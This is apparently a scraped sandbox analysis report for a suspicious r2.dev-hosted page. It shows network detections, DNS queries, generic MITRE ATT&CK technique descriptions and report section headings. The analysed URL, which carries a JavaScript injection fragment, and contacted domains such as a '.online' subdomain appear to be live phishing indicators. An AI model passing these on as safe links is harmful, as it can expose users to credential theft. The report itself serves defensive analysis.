Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: freeipapi.com
Source: global traffic	DNS traffic detected: DNS query: e3yj1d3rjni.tkllop.online
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: google.com

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Windows Analysis Report
https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)